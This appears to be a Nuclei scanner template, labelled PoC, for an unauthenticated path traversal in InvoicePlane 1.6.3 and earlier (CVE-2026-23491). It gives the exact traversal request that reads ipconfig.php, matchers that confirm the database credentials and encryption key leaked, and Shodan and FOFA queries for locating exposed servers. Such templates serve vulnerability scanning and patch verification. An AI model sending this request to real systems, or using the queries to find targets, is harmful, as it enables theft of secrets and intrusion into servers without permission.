InvoicePlane through 1.6.3 is vulnerable to an unauthenticated path traversal in the guest "Get::get_file()" controller. The supplied filename is passed to readfile() after a single urldecode() with no directory-traversal validation, allowing an unauthenticated attacker to read files outside the customer-files upload directory - including the application's own "ipconfig.php", which discloses the database credentials and the application ENCRYPTION_KEY. Fixed in 1.6.4 by the validate_file_access() helper.
PoC
id: CVE-2026-23491
info:
name: InvoicePlane <= 1.6.3 - Arbitrary File Read
author: str4k3r
severity: high
description: |
InvoicePlane through 1.6.3 is vulnerable to an unauthenticated path traversal in the guest "Get::get_file()" controller. The supplied filename is passed to readfile() after a single urldecode() with no directory-traversal validation, allowing an unauthenticated attacker to read files outside the customer-files upload directory - including the application's own "ipconfig.php", which discloses the database credentials and the application ENCRYPTION_KEY. Fixed in 1.6.4 by the validate_file_access() helper.
reference:
- https://github.com/InvoicePlane/InvoicePlane/security/advisories/GHSA-88gq-mv54-v3fc
- https://github.com/InvoicePlane/InvoicePlane/releases/tag/v1.6.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-23491
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-23491
epss-score: 0.04108
epss-percentile: 0.90252
cwe-id: CWE-22
metadata:
max-request: 1
verified: true
product: invoiceplane
vendor: invoiceplane
shodan-query: http.html:"InvoicePlane"
fofa-query: body="InvoicePlane"
tags: cve,cve2026,invoiceplane,lfi,traversal
http:
- method: GET
path:
- "{{BaseURL}}/index.php/guest/get/get_file/..%2f..%2fipconfig.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "SETUP_COMPLETED="
- "ENCRYPTION_KEY="
condition: and
- type: word
part: content_disposition
words:
- "attachment"
- type: status
status:
- 200
# digest: 490a0046304402202952f296d5a9d058113541f2094a937054728921f27b44c96496276f0d0bafe1022032146e01cc18c7b7f82b77d2aadfbddb75bcec1af03a4d1242e7cecbaec5a847:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.